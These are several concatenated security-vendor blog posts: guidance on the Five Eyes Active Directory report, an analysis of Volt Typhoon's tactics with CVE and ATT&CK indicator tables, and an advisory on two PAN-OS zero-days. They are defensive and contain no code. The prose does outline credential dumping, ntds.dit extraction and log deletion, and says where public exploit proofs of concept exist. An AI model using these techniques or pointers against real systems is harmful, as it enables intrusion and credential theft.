Tenable Blog

A landmark global report from cybersecurity agencies emphasizes 17 attack techniques against Microsoft Active Directory and cautions organizations to step up protections. In the first of our two-part series, we offer five steps you can take today to shore up your AD defenses.

Microsoft’s Active Directory (AD) is at the heart of identity and access management (IAM) for organizations worldwide, making it an attractive target for cyberattackers. Concerns over the risks of AD compromise prompted cybersecurity agencies from Australia, Canada, New Zealand, U.K. and U.S. to issue a landmark report, Detecting and Mitigating Active Directory Compromises. The report, released in September, details 17 attack techniques, from Kerberoasting to Golden Ticket attacks, which, left unchecked, can enable attackers to take total control over systems.

In the first of our two-part series, we look beyond the report’s guidance for detecting and mitigating AD compromises to explore how organizations can institute a dynamic, proactive AD cybersecurity strategy. We discuss how continuous monitoring, adaptive defenses and risk-based prioritization can help security leaders protect their AD infrastructure. We provide five action items you can use to operationalize your identity security strategy.

In part two, we go beyond the basics to provide insight and guidance about additional areas of AD exposure worth addressing.

Attackers see AD as a gateway

As the backbone of authentication and authorization in most organizations, AD controls access to sensitive data and critical systems. Identity has become the modern control plane for enterprises, and attackers know that compromising AD can be their gateway to a treasure trove of information and control. High-profile attacks, such as those by Storm-0501 and Conti ransomware, demonstrate the devastating financial and operational impact that can result when AD security is breached.

It’s important to note that the report issued by the cyberagencies — known collectively as the Five Eyes Alliance — is much more than a compliance checklist. Too often, we see organizations approach such cybersecurity guidance by taking a series of one-off actions, assuming that ticking a few boxes ensures lasting security.

In reality, attackers exploit vulnerabilities as soon as they arise. Point-in-time compliance efforts can't keep up with the adaptive nature of today's cyberthreats. To stay ahead, organizations must go beyond compliance, adopting a continuous, adaptive approach that anticipates and mitigates risks in real-time, ensuring that AD remains secure against evolving threats.

From insight to action: Operationalizing the report's recommendations

The guidance from the cybersecurity agencies makes it clear: Active Directory isn't a "set-it-and-forget-it" system.

As AD environments continuously evolve — whether through new users, permission updates or expanded cloud integrations — cybersecurity strategies must evolve in tandem. Misconfigurations and identity-based vulnerabilities open new doorways to risk because they don't stay put. This is precisely why organizations must adopt a structured, real-time approach to managing AD, including continuous monitoring, risk-based prioritization and adaptive security practices responsive to the shifting threat landscape.

Operationalizing the report’s guidance requires more than static point-in-time tech fixes. It calls for a series of game-changing steps to keep your AD secure.

Below, we break down five key areas to focus on as you turn the report's guidance into actionable steps.

1. Continuously monitor with real-time visibility

Organizations often behave as though AD is a static system, a thing to be configured once and then assumed to be secure. However, as the Five Eyes report illustrates, AD is in constant flux, with each change potentially opening new vulnerabilities. From new hires and permission updates to expanding cloud connections, any shift in AD can create an unseen entry point for attackers. Real-time visibility and continuous monitoring are behavioral steps to stay ahead of evolving risks.

Why it matters

Attackers thrive on hidden weaknesses, like subtle misconfigurations and creeping permission drift, exploiting tactics like DCSync and Kerberoasting to infiltrate your systems silently. Without real-time oversight, these tactics can remain undetected. That's why it’s essential to identify and prioritize identity weaknesses as soon as they surface — catching risks early stops attackers in their tracks.

What to do

• Automate monitoring: Implement tools that trigger real-time alerts on AD changes — flagging unexpected privilege escalations, risky permission shifts and service account modifications that could indicate an active breach attempt.
• Detect toxic combinations: Continuous monitoring allows security teams to spot dangerous combinations of permissions and misconfigurations — such as high privileges combined with weak passwords or accounts with overlapping permissions — before they're exploited.
• Implement immediate remediation: Establish processes for immediate response when high-risk changes are detected. The ability to revoke excessive permissions or adjust configurations in real-time significantly limits opportunities for attackers to escalate their actions.

2. Automate risk-based prioritization

Not every weakness in Active Directory carries the same level of risk Treating each issue with equal priority can drain resources while leaving critical exposures unattended. A risk-based model automatically prioritizes AD weaknesses and allows security teams to focus on the exposures that matter most, rather than getting bogged down in low-risk issues.

Why it matters

Among the 17 attack tactics highlighted in the Five Eyes report, some — like DCSync — might be more critical in traditional infrastructures, while others, such as password spraying, may pose a higher risk in cloud-heavy environments. Automated risk scoring tailors prioritization to your organization's unique setup, ensuring that high-impact threats are addressed promptly.

What to do

• Focus on dynamic risk scoring: Leverage tools that continuously evaluate and rank vulnerabilities, prioritizing them by exposure level, privilege escalation risks and known attack vectors. Start pinpointing the most exploitable risks so teams can zero in, ensuring critical exposures don't go unnoticed.
• Map potential attack paths: Visualizing attack paths to critical assets helps pinpoint which weaknesses are likely to be targeted and enables teams to allocate resources effectively.
• Prioritize for your environment: Tailor prioritization to fit your specific infrastructure — whether it's primarily on-premises, cloud-based or hybrid — so that the highest-risk exposures in your unique environment are addressed first.

3. Build operational resilience through least-privilege access

A resilient Active Directory environment relies on enforcing least-privilege access, granting users only the permissions they need to perform their roles. However, over time, privileges can expand unintentionally — through changes in group memberships, role adjustments or emergency access that is not promptly revoked. This "privilege creep" broadens the attack surface attackers can exploit, as excessive permissions make lateral movement and privilege escalation easier.

Why it matters

Excessive permissions in Active Directory enable various attack techniques, including Silver Ticket compromises where adversaries forge Kerberos tickets for unauthorized access. Without least-privilege enforcement, attackers can exploit over-permissioned accounts to move laterally and access sensitive resources undetected. Proper privilege management is essential to prevent these and other AD-based cyberattacks.

What to do

• Implement automated monthly scans: These can identify accounts with excessive privileges or permissions, flagging them for immediate review.
• Use role-based permission templates: These can standardize access across accounts, ensuring only the necessary privileges are granted.
• Enforce a 24-hour revoke policy: This limits temporary or emergency access, quickly closing off potential attack paths.
• Regularly audit service accounts: Giving service providers a regular "check-up" ensures their privileges align with their job description and that they aren't offering attackers any uninvited perks.

4. Set the stage for success with a preventive mindset

Your security mindset sets the stage for securing AD. We all know that responding to incidents after they occur is painful, especially when there is a chance to preemptively identify and address potential threats. The nature of the Five Eyes guidance is proactive. Understanding Indicators of Exposure (IoE) and looking for those early warning signs can help teams address vulnerabilities before they become an attacker's foothold in the network.

Why it matters

A reactive approach leaves security teams in constant catch-up mode, dealing with incidents as they happen instead of eliminating root causes. Focusing on IoE systematically closes off pathways that adversaries exploit to infiltrate environments. It also allows security teams to expand their protective reach without adding to their alert fatigue. This equates to a broader security strategy prioritizing long-term resilience over short-term fixes.

What to do

• Adopt an "assume breach" mindset: Treat every vulnerability as a potential entry point and monitor for exposure gaps around critical assets.
• Focus on IoE: Identify and track early signs of risk, such as misconfigurations or unusual permission changes. It is better to prevent breaches than to detect them after they happen.
• Battle-test defenses: Red team like you mean it. Don't just defend — pressure test. The best defenders aren't the ones who've never been hit — they're the ones who've learned from every attempted breach, actual or simulated.
• Continuously tune detection and response processes: Ensure your detection and response strategies are agile and adapt to the evolving threat landscape.

5. Ensure scalable, unified security operations across the enterprise

Enterprise expansion pits cybersecurity teams against a sprawling landscape of domains, assets and identities — each adding layers of complexity. When security forms a phalanx, with a unified approach of shared insights and tools, efficiency emerges and gaps close. Scaling security demands a cohesive strategy that seamlessly integrates identity management, asset visibility and threat detection into a single, unified framework, ensuring consistent security practices.

Why it matters

Lack of unification is a recipe for disaster. Without a platform that normalizes data and promotes shared understanding, teams work in silos, widening gaps in coverage and leaving critical assets vulnerable. In complex, multi-domain environments, it’s essential to take a unified approach — fostered by integrated, scalable platforms — for fast, coordinated responses to cyberthreats. By closing these gaps, organizations can maintain comprehensive oversight, enabling teams to keep pace with growth while ensuring consistent security across the enterprise.

What to do

• Integrate AD monitoring with broader IT operations: Align AD security monitoring with other IT functions through a unified platform. This will ensure all domains, whether cloud-based or on-premises, are monitored under a single pane of glass.
• Streamline IAM: Implement centralized IAM solutions to consistently manage identities across all environments, reducing the risk of orphaned accounts or inconsistent permissions.
• Automate policy enforcement: Use automation to enforce security policies across all domains, ensuring real-time adjustments and adherence to best practices as infrastructure changes.
• Enable cross-functional collaboration: Break down silos by fostering collaboration between IT, security and operations teams, enabling quicker response times and better information sharing.

What’s next: Additional considerations for comprehensive AD security

The above five steps offer a solid foundation for operationalizing the Five Eyes guidance. But stopping there misses important considerations for enhancing and adapting security strategies. In part two of this series, we go beyond the basics, offering guidance on achieving full coverage, addressing modern attack techniques and securing Active Directory and Entra ID as part of a holistic identity security approach.

Learn more

• Read part two in this series, Five Cyber Agencies Sound Alarm About Active Directory Attacks: Beyond the Basics
• View the on-demand webinar Detect and Mitigate 16 Commonly Deployed AD Compromises
• Read the data sheet Tenable ThreatMap for AD

A landmark global report emphasizes 17 attack techniques against Microsoft Active Directory and cautions organizations to step up protections. In the second of our two-part series, we take you beyond the basics to highlight three key areas to focus on.

The landmark report Detecting and Mitigating Active Directory Compromises — released in September by cybersecurity agencies in Australia, Canada, New Zealand, U.K. and U.S. — shines a bright light on the risks organizations face if their identity and access management (IAM) system is targeted by cyberattackers.

In the first of our two-part series, we discussed five steps organizations can take to operationalize the report findings and develop a cybersecurity strategy for protecting their Microsoft Active Directory (AD) infrastructure. While these steps are important, stopping there misses crucial considerations that can further enhance security strategies.

Here, in part two, we look beyond the basics to provide three key areas cybersecurity leaders can consider in order to achieve full coverage, address modern attack techniques and secure Active Directory and its cloud-based counterpart Entra ID (formerly Azure AD) as part of a holistic identity security approach.

1. Implement full coverage for Active Directory in hybrid environments

While basic AD assessment tools provide valuable insights, they fall short in today's hybrid environments, where on-premises AD and cloud identities intersect. Point-in-time scans risk missing active threats like Kerberoasting, DCSync and password spraying — techniques that cyberattackers can execute repeatedly to evade periodic checks.

Why full coverage matters

• Classic AD threats persist: Traditional attacks targeting AD authentication and replication remain powerful weapons for attackers, requiring constant vigilance.
• Unified identity monitoring: Modern environments sync on-premises AD with cloud services. Changes in either domain can create vulnerabilities in the other, demanding unified visibility.
• Cross-environment risks: Attackers combine classic AD exploitation with cloud service attacks. Monitoring must track permissions and configurations across this expanded attack surface.
• Real-time response: Effective security requires immediate visibility into hybrid threats — from password spraying against synced accounts to privileged credential theft.

What to do

• Enable unified monitoring: Use tools that offer continuous visibility across both AD and Entra ID to catch threats wherever they arise, maintaining seamless oversight.
• Set up key threat alerts: Configure automated alerts for threats like Kerberoasting and DCSync, particularly for synced accounts, to react immediately to suspicious activity.
• Map and review permissions: Regularly audit permissions across AD and Entra ID to spot gaps or misconfigurations that attackers might exploit.
• Enforce multi-factor authentication (MFA) and conditional access: Strengthen high-privilege accounts with MFA and adaptive policies, aligning access controls to risk signals across both environments.

2. Address modern attack techniques

While the report from the five cybersecurity agencies — known collectively as the Five Eyes Alliance — highlights 17 AD compromise methods, these cover only the most common tactics. If attackers were only so simple! Their approaches are also exploiting AD's connections with Entra ID, software as a service (SaaS) applications and hybrid clouds. To stay secure, organizations must look beyond static techniques and adapt to today's dynamic threat landscape.

Why modernizing matters

Focusing only on known techniques can leave a lot on the table for today’s attackers, who leverage AD's complex integrations, developing methods that fall outside standard tactics yet pose serious risks. A comprehensive, adaptive security approach prepares teams to counter both established and evolving threats.

What to do

• Update your threat model: Adapt threat assessments to include new, advanced techniques relevant to your network.
• Foster a proactive culture: Encourage education on evolving threats and a flexible response approach.
• Use real-time threat intelligence: Integrate real-time insights to detect and respond to emerging techniques.

3. Don't Overlook Entra ID

While the Five Eyes report highlights compromises in on-premises Active Directory, protecting cloud-based directory services, like Entra ID, is equally important as organizations expand into the cloud. Attackers are increasingly pivoting between on-premises AD and cloud-based directories to maximize impact, as demonstrated by recent breaches. In hybrid environments, attackers exploit the gaps between AD and Entra ID, often bypassing defenses that cover only one system. Think of your directory infrastructure as a house with two front doors: securing only one leaves the other exposed. For modern enterprises, unified security monitoring across AD and Entra ID is essential to prevent attackers from exploiting inconsistencies between on-premises and cloud defenses. Your identity security strategy is only as strong as its most vulnerable directory.

Why securing both AD and Entra ID matters

• Consistent coverage across environments: As organizations adopt hybrid environments, the separation between on-premises and cloud-based IAM systems creates potential gaps. Unified security across both prevents attackers from finding weak points in transitioning from on-premises to cloud.
• Strengthening your identity security strategy: Attackers target identity as a primary entry point. Treating AD and Entra ID as interdependent systems ensures that your entire identity framework is resilient, regardless of where the threat originates.

What to do

• Set adaptive access controls: Use conditional access policies to assess user risk in real time, blocking high-risk login attempts automatically.
• Monitor third-party access: Regularly review and control permissions granted to third-party apps, catching unsanctioned apps and shadow IT early.
• Enforce least-privilege and OAuth limits: Restrict OAuth permissions to essentials, and identify over-permissioned accounts to maintain least-privilege across cloud and AD environments.
• Enable real-time identity threat detection: Set identity protection policies to respond instantly to risky logins, such as by triggering MFA or blocking access on suspicious activity.
• Continuously audit and adjust policies: Regularly assess conditional access and third-party permissions to keep your identity security strategy aligned with evolving threats.

Conclusion: Embrace continuous, identity-first security

Active Directory compromises remain a focal point for attackers. The Five Eyes report underscores its continued relevance and clarifies why identity is the modern control plane in exposure management. As you review the guidance, refrain from letting this become another checklist. Rethink how your organization is approaching its AD security. Do you have continuous monitoring, risk-based prioritization, least-privilege access and unified operations? Are you employing an identity-first security approach that naturally achieves compliance? Are you unifying protection across on-premises AD and Entra ID to close gaps attackers exploit?

Learn more

• Read part one in this series, Active Directory Under Attack: Five Eyes Guidance Targets Crucial Security Gaps
• View the on-demand webinar Detect and Mitigate 16 Commonly Deployed AD Compromises
• Read the data sheet Tenable ThreatMap for AD

Increased activity from the state-sponsored threat group Volt Typhoon raises concerns about the cybersecurity of U.S. critical infrastructure. Here’s how you can identify potential exposures and attack paths.

Recent activity from the state-sponsored group Volt Typhoon, from the People’s Republic of China (PRC), has prompted federal agencies — including the Cybersecurity and Infrastructure Security Agency (CISA) and international partners — to issue urgent warnings and advisories. This increase in activity from advanced persistent threat (APT) actors targeting U.S. critical infrastructure highlights the need for increased vigilance from state and local governments. Since U.S. critical infrastructure is owned and operated by both public sector and private sector organizations, the threat is a concern for government agencies as well as corporate enterprises.

Volt Typhoon is a sophisticated threat group, typically gaining initial access to targets by exploiting unpatched vulnerabilities, including zero-day flaws, as well as through phishing techniques. Once initial access is gained, Volt Typhoon stays persistent for as long as possible, blending in with normal traffic and operating systems. This is achieved through “living off the land” (LOTL) techniques, leveraging native operating system tools to evade detection and favoring manual operations over automated manual scripts, further enhancing their adaptability within the environment.

State and local governments (SLG) have real options though, thanks to the Tenable Security Response Team’s examination of Volt Typhoon’s tactics, techniques and procedures (TTP). Additionally, with the Fiscal Year 2024 State and Local Cybersecurity Grant Program (SLCGP) Notice of Funding Opportunity (NOFO) open for eligible applicants through December 3, SLG officials can apply for funding to strengthen the security of critical infrastructure against malicious threats and to bolster the resilience of the services that state and local governments provide to their communities.

Based on the Tenable Security Response Team’s findings, Tenable recommends state and local government officials consider the following measures to address, patch and mitigate the identified Volt Typhoon vulnerabilities. In addition to these recommendations, implementing cyber hygiene best practices is essential for effective defense.

Patching known vulnerabilities and identifying affected systems

State and local government agencies have the tools and capabilities to protect themselves against the vast majority of attacks, including those from APT actors. Too many entities, however, are failing to take even the minimum steps to protect themselves and their communities.

Let’s start with the basics: it’s critical to have holistic exposure management capabilities that concentrate on discovering and remediating publicly disclosed CVEs. Exposure management combines the people, processes and technologies needed to effectively reduce cyber risk. Technologies such as vulnerability management, web application security, cloud security, identity security, attack path analysis and attack surface management are used to help organizations understand the full breadth and depth of their exposures and take the actions needed to reduce them through remediation and incident response workflows. This proactive approach gives organizations the power to identify and patch known vulnerabilities before they can be exploited.

By implementing proactive exposure management measures, state and local officials can significantly strengthen their resilience against cyberattacks and better protect their communities.

Given the heightened activity by Volt Typhoon, advisories have been released by the respective vendors for specific patching and mitigation tactics for the CVEs commonly exploited; learn more here.

If you are unsure whether your systems have been affected by Volt Typhoon or another APT, Tenable offers several solutions to help identify potential exposures and attack paths, as well as identify systems vulnerable to the CVEs noted in the research linked above.

Implementing cyber hygiene best practices

Basic cyber hygiene practices, including asset management, vulnerability management and identity and access management are crucial in today's digital landscape. State and local governments need to ensure they have visibility across their entire attack surface, including their IT, internet of things (IoT) and operational technology (OT) assets to know where they are exposed. This is critical when a vulnerability is discovered, especially as state-sponsored groups like Volt Typhoon are continuing to target U.S. critical infrastructure.

Understanding Volt Typhoon's TTPs equips state and local governments with valuable insights to enhance their cybersecurity posture. By implementing proactive exposure management measures, state and local officials can significantly strengthen their resilience against cyberattacks and better protect their communities.

If you want to learn more about Volt Typhoon and the Tenable Security Response Team’s research, review the findings here.

Learn more

• Read the blog Volt Typhoon: U.S. Critical Infrastructure Targeted by State-Sponsored Actors
• Read the joint cybersecurity advisory People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection
• Get up to speed on the U. S. Department of Homeland Security (DHS) Notice of Funding Opportunity (NOFO) Fiscal Year 2024 State and Local Cybersecurity Grant Program

Volt Typhoon, a state-sponsored actor linked to the People’s Republic of China, has consistently targeted U.S. critical infrastructure with the intent to maintain persistent access. Tenable Research examines the tactics, techniques and procedures of this threat actor.

Background

The cyberthreat landscape is always evolving, with security teams continuously facing new threats and attacks from a myriad of malicious groups, including ransomware gangs and small collectives chasing financial gain or even clout in the hacking community. Meanwhile, advanced persistent threat (APT) actors continue to loom in the shadows, carefully planning and executing their next attack. One such APT group is Volt Typhoon, a People’s Republic of China (PRC) state-sponsored actor. Volt Typhoon has been the subject of multiple cybersecurity advisories (CSA) from the Cybersecurity and Infrastructure Security Agency (CISA) along with joint partners, including international cybersecurity agencies, with warnings of the threat group targeting critical infrastructure in the U.S. and beyond. According to multiple reports, Volt Typhoon operates by pre-positioning themselves, actively working to maintain persistence in anticipation of conducting future attacks targeting U.S critical infrastructure, showing a specific interest in operational technology (OT) environments. Targeted sectors include communications, energy, transportation systems and water and wastewater systems. Volt Typhoon, historically associated with BRONZE SILHOUETTE, has been categorized under various aliases by different threat intelligence teams. These include Voltzite and Insidious Taurus in certain intelligence circles, DEV-0391 by Microsoft and UNC3236 by Mandiant (FireEye) before its formal attribution as Volt Typhoon. Additionally, CrowdStrike tracks the group under the name Vanguard Panda. As we examine the tactics, techniques and procedures (TTPs) employed by Volt Typhoon, we will also discuss known vulnerabilities associated with this threat actor.

Analysis

Volt Typhoon is a sophisticated threat group whose expertise lies in maintaining persistence for as long as possible. They achieve this by blending in with seemingly normal-looking traffic using living off the land (LOTL) techniques, meaning they’ll utilize an operating system’s (OS) built-in tools. Additionally, this group works using hands-on-keyboard attacks, rather than relying on automated malware scripts. This allows them to customize their attacks and conduct reconnaissance of a target in a stealthy manner. Volt Typhoon typically gains initial access to targets by exploiting unpatched vulnerabilities including zero-day flaws. In an effort to make traffic to their targets seem more benign, they utilize compromised small-office home-office (SOHO) routers and network devices as intermediary devices to proxy their traffic. This makes their network traffic seem legitimate and helps to avoid any geolocation firewall rules. For more information, read the blog Volt Typhoon: What State and Local Government Officials Should Know.

Source: Microsoft Threat Intelligence

Initial access

Volt Typhoon typically gains initial access to targeted systems by exploiting vulnerabilities in publicly exposed systems, specifically firewalls, VPN appliances and web servers. The group takes advantage of weak credentials and unpatched vulnerabilities in perimeter devices. Once inside, Volt Typhoon leverages legitimate tools already present within the system to avoid detection.

SOHO devices: unsecured, unpatched and misconfigured

Thanks to unpatched, end-of-life (EOL) or misconfigured network devices that are internet accessible, Volt Typhoon capitalizes on compromising these devices in order to proxy their traffic and utilize the devices as launch points for their attacks. This includes devices from ASUS, Cisco RV, Draytek Vigor, FatPipe IPVPN/MPVPN/WARP, Fortinet Fortigate, Netgear Prosafe and Zyxel USG. These network devices are widely used and many EOL devices have known and exploitable vulnerabilities with readily available exploit code. Others may be misconfigured, leaving administrative portals internet accessible and utilizing default credentials. Once compromised, these devices are then implanted with the KV Botnet malware.

Living-off-the-land tactics

Rather than deploying custom malware or tools, Volt Typhoon uses native Windows tools like cmd.exe, netsh and PowerShell to execute commands and conduct lateral movement across compromised networks. By avoiding the use of external tools, the group minimizes their digital footprint, making detection through traditional signature-based antivirus systems more challenging. Many of these commands are not logged by the OS and, in cases where logging is enabled, the threat actors can rotate or delete the logs to hide evidence of the commands they executed.

Credential harvesting and lateral movement

Volt Typhoon utilizes credential dumping techniques to extract valuable login information from compromised systems. Tools like Mimikatz are deployed to extract credentials from memory, which are used to move laterally across the network. Remote desktop protocol (RDP) and other remote desktop tools are often used to facilitate further access to internal systems.

Once inside, Volt Typhoon maintains persistence by modifying legitimate software and using the built-in Windows Task Scheduler to establish scheduled tasks for regular access, ensuring long-term surveillance capabilities. The threat actor focuses on exfiltrating sensitive data and monitoring critical infrastructure communications.

Volt Typhoon has been observed creating a shadow copy of ntds.dit, the main Active Directory (AD) database. This file contains password hashes which the threat actor can attempt to crack offline and utilize any stolen passwords to continue exploitation of a network. Because they rely on using built-in OS commands, they are able to keep a low profile and evade endpoint detection and response (EDR) solutions in what seems like benign system activity.

Known CVEs commonly exploited by Volt Typhoon

While not an exhaustive list, the table below highlights some of the CVEs known to have been exploited by Volt Typhoon.

CVEDescriptionCVSSv3 ScoreVPRCVE-2021-27860FatPipe WARP, IPVPN, MPVPN Unrestricted Upload of File with Dangerous Type8.87.4CVE-2021-40539Zoho ManageEngine ADSelfService Plus Authentication Bypass Vulnerability9.89CVE-2022-42475Fortinet FortiOS and FortiProxy Heap-Based Buffer Overflow Vulnerability9.88.9CVE-2023-27997Fortinet FortiOS and FortiProxy Heap-Based Buffer Overflow Vulnerability9.89CVE-2024-39717Versa Director File Upload Vulnerability7.28.4

*Please note: Tenable’s Vulnerability Priority Rating (VPR) scores are calculated nightly. This blog post was published on November 19 and reflects VPR at that time.

Unpatched VPNs targeted — a recurring trend

Volt Typhoon’s exploitation of unpatched vulnerabilities in Virtual Private Network (VPN) solutions is part of a broader trend seen across many APT groups. Threat actors leverage these VPN flaws to bypass security controls and establish long-term access within networks. Their focus on exploiting unpatched VPNs mirrors tactics of other state-sponsored actors, such as the Iranian threat actors detailed in the AA24-241A Joint Cybersecurity Advisory, who similarly target and exploit known VPN vulnerabilities to gain initial access and carry out espionage or disruptive campaigns. This recurring pattern underscores the critical need for organizations, particularly those in critical infrastructure, to prioritize patch management and ensure robust security for VPN systems.

Proof of concept

The availability of proof-of-concept (PoC) exploits for the vulnerabilities exploited by Volt Typhoon varies across different CVEs. For CVE-2021-27860, there is no known public PoC currently available. In contrast, CVE-2021-40539, a vulnerability in Zoho ADSelfService Plus, has a partial PoC provided by Synacktiv, both in the form of a technical analysis and a working exploit shared on GitHub. This resource offers detailed guidance on how to achieve remote code execution by manipulating requests to the vulnerable service.

For CVE-2022-42475 and CVE-2023-27997 impacting Fortinet’s FortiOS and FortiProxy SSL-VPN systems, public PoCs are readily available on platforms like GitHub (CVE-2023-27997 for example) and have been widely shared on X (formerly Twitter). These PoCs demonstrate how attackers can exploit heap-based buffer overflows to achieve remote code execution, highlighting the criticality of patching affected systems.

Lastly, there is no publicly available PoC for CVE-2024-39717, a newly disclosed file upload vulnerability in Versa Director.

The varying availability of these PoCs stresses the need for organizations to proactively patch and monitor for signs of exploitation.

Solution

Each of the vulnerabilities flagged as targeted by Volt Typhoon have patches and mitigations released by the respective vendors. We recommend reviewing each of the vendors’ advisories shown below:

• FatPipe CVE-2021-27860 (FPSA006) Advisory
• Zoho CVE-2021-40539 Advisory
• Fortinet CVE-2022-42475 Advisory
• Fortinet CVE-2023-27997 Advisory
• Versa CVE-2024-39717 Advisory

Identifying affected systems

Tenable offers several solutions to help identify potential exposures and attack paths as well as identifying systems vulnerable to the CVEs mentioned in this blog. For a holistic approach, we recommend Tenable One. The Tenable One Exposure Management Platform extends beyond traditional vulnerability management, which concentrates on the discovery and remediation of publicly disclosed CVEs. A foundational part of any exposure management program, Tenable One includes data about configuration issues, vulnerabilities and attack paths across a spectrum of assets and technologies — including identity solutions (e.g., Active Directory); cloud configurations and deployments; and web applications.

Tenable Plugin Coverage

A list of Tenable plugins for these vulnerabilities can be found on the individual CVE pages for CVE-2021-40539, CVE-2021-27860, CVE-2022-42475, CVE-2023-27997 and CVE-2024-39717. These links will display all available plugins for these vulnerabilities, including upcoming plugins in our Plugins Pipeline.

Tenable attach path techniques

MITRE ATT&CK IDDescriptionTenable attack path techniquesT1003.001OS Credential Dumping: LSASS MemoryT1003.001_WindowsT1003.003OS Credential Dumping: NTDST1003.003_WindowsT1012Query RegistryT1012_WindowsT1059.001Command and Scripting Interpreter: PowerShellT1059.001_WindowsT1059.003Command and Scripting Interpreter: Windows Command ShellT1059.003_WindowsT1069.001Permission Groups Discovery: Local GroupsT1069.001_WindowsT1069.002Permission Groups Discovery: Domain GroupsT1069.002_WindowsT1078.002Valid Accounts: Domain AccountsT1078.002_WindowsT1053Scheduled Task/Job: Scheduled TaskT1053.005_WindowsT1110.003Brute Force: Password SprayingT1110.003_WindowsT1518Software DiscoveryT1518.001_Windows

Tenable Identity Exposure Indicators of Exposure and Indicators of Attack

MITRE ATT&CK IDDescriptionIndicatorsT1003OS Credential DumpingC-ADM-ACC-USAGET1003.001OS Credential Dumping: LSASS MemoryC-PROTECTED-USERS-GROUP-UNUSEDI-ProcessInjectionLsassT1003.003OS Credential Dumping: NTDSI-NtdsExtractionT1069.001Permission Groups Discovery: Local GroupsI-ReconAdminsEnumT1110Brute ForceC-PASSWORD-HASHES-ANALYSISC-PASSWORD-POLICYMISSING-MFA-FOR-NON-PRIVILEGED-ACCOUNTMISSING-MFA-FOR-PRIVILEGED-ACCOUNTT1110.003Brute Force: Password SprayingI-PasswordSpraying

Tenable Web App Scanning

MITRE ATT&CK IDDescriptionIndicatorsT1190Exploit Public-Facing ApplicationT1190_WASGet more information

• CISA CSA: People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection
• CISA CSA: PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure
• Tenable Blog: Volt Typhoon: International Cybersecurity Authorities Detail Activity Linked to Chinese-State Sponsored Threat Actor
• Tenable Blog: CVE-2022-42475: Fortinet Patches Zero Day in FortiOS SSL VPNs
• Tenable Blog: AA23-250A: Multiple Nation-State Threat Actors Exploit CVE-2022-47966 and CVE-2022-42475
• Tenable Blog: CVE-2023-27997: Heap-Based Buffer Overflow in Fortinet FortiOS and FortiProxy SSL-VPN (XORtigate)
• Microsoft Blog: Volt Typhoon targets US critical infrastructure with living-off-the-land techniques

Join Tenable's Security Response Team on the Tenable Community.
Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

Palo Alto Networks confirmed two zero-day vulnerabilities were exploited as part of attacks in the wild against PAN-OS devices, with one being attributed to Operation Lunar Peek.

Update November 19: The blog has been updated with a link to new technical analysis that could aid in the creation of a proof-of-concept, as well as guidance for identifying PAN-OS devices using Tenable Attack Surface Management.

View Change Log

Background

On November 18, Palo Alto Networks updated its advisory (PAN-SA-2024-0015) for a critical flaw in its PAN-OS software to include a CVE identifier:

CVEDescriptionCVSSCVE-2024-0012PAN-OS Authentication Bypass Vulnerability9.3

In addition to CVE-2024-0012, Palo Alto Networks assigned a second CVE for a privilege escalation vulnerability (CVE-2024-9474).

CVEDescriptionCVSSCVE-2024-9474PAN-OS Privilege Escalation Vulnerability6.9Analysis

CVE-2024-0012 is an authentication bypass vulnerability in the management web interface of PAN-OS devices. An unauthenticated, remote attacker could exploit this vulnerability to obtain administrator privileges on the vulnerable PAN-OS device, enabling follow-on activity including modifying device configuration, accessing other administrative functions as well as exploiting other vulnerabilities, such as CVE-2024-9474.

CVE-2024-9474 is a privilege escalation vulnerability in the web management interface of PAN-OS devices. An authenticated, remote attacker could exploit this vulnerability to gain root privileges on the firewall.

While not explicitly referenced in its advisory, based on the description, it is believed that CVE-2024-0012 and CVE-2024-9474 may have been used as part of an exploit chain.

Attributed to Operation Lunar Peek

In a threat brief about the vulnerabilities, Palo Alto Networks’ Unit 42 have attributed the exploitation of CVE-2024-0012 to a campaign they call Operation Lunar Peek. As of November 18, no specific details have yet to be shared about Operation Lunar Peek or attribution to a specific threat actor or country of origin.

While Unit 42 did not explicitly connect CVE-2024-9474 to this operation, they reference this flaw as part of follow-on activity and have stated they’ve “observed threat activity that exploits this vulnerability against a limited number of management web interfaces.”

Initial advisory published on November 8

PAN-SA-2024-0015 was first published on November 8, following reports of a zero-day vulnerability affecting the management interfaces of PAN-OS devices. Reports indicate that someone was selling access to a zero-day in PAN-OS. It wasn’t until November 14 that Palo Alto Networks confirmed “threat activity” associated with this zero-day.

Proof of concept

At the time this blog post was published, there was no proof-of-concept (PoC) available for this vulnerability. However, on November 19, researchers at watchTowr published a blog post outlining their research into both CVE-2024-0012 and CVE-2024-9474, including technical details which may aid in the construction of a PoC. The researchers are withholding a public PoC for at least one week.

Solution

The following table contains a list of affected and fixed versions of PAN-OS:

ProductCVE-2024-0012CVE-2024-9474Fixed VersionPAN-OS 10.1Not Affected10.1.14-h4 and below10.1.14-h6 and abovePAN-OS 10.210.2.12-h1 and below10.2.12-h1 and below10.2.12-h2 and abovePAN-OS 11.011.0.5-h2 and below11.0.5-h2 and below11.0.6-h1 and abovePAN-OS 11.111.1.4-h7 and below11.1.4-h7 and below11.1.5-h1 and abovePAN-OS 11.211.2.3-h3 and below11.2.3-h3 and below11.2.4-h1 and aboveCloud NGFWNot AffectedNot Affected-Prsima AccessNot AffectedNot Affected-

Equally as important as applying patches, organizations that utilize PAN-OS devices should secure the management web interface to prevent external access, opting instead to limit access to trusted internal IP addresses. For more information, please refer to Palo Alto’s guide, Tips & Tricks: How to Secure the Management Access of Your Palo Alto Networks Device.

Identifying affected systems

A list of Tenable plugins for this vulnerability can be found on the individual CVE pages for CVE-2024-0012 and CVE-2024-9474 as they’re released. These links will display all available plugins for these vulnerabilities, including upcoming plugins in our Plugins Pipeline.

Additionally, customers can utilize Tenable Attack Surface Management to identify PAN-OS devices.

 

Get more information

• Threat Brief: Operation Lunar Peek, Activity Related to CVE-2024-0012
• PAN-SA-2024-0015: CVE-2024-0012 PAN-OS: Authentication Bypass in the Management Web Interface
• CVE-2024-9474 PAN-OS: Privilege Escalation (PE) Vulnerability in the Web Management Interface

Change Log

Update November 19: The blog has been updated with a link to new technical analysis that could aid in the creation of a proof-of-concept, as well as guidance for identifying PAN-OS devices using Tenable Attack Surface Management.

Join Tenable's Security Response Team on the Tenable Community.
Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

